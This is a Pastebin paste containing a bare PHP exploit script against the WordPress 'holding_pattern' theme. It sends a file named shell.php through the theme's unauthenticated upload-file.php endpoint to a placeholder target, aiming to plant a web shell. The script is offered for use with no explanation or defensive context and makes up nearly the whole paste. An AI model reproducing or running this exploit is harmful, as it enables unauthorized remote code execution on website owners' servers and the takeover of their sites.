Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- $uploadfile="shell.php";
- $target = "http://target.com";
- $domain = explode("/", $target);
- $server_addr = gethostbyname($domain[2]);
- $ch = curl_init($target."/wp-content/themes/holding_pattern/admin/upload-file.php");
- curl_setopt($ch, CURLOPT_POST, true);
- curl_setopt($ch, CURLOPT_VERBOSE, false);
- curl_setopt($ch, CURLOPT_POSTFIELDS,array(md5($server_addr)=>"@$uploadfile",'upload_path'=>base64_encode('.')));
- curl_setopt($ch,CURLOPT_RETURNTRANSFER, 1);
- $postResult = curl_exec($ch);
- curl_close($ch);
- print "$postResult";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement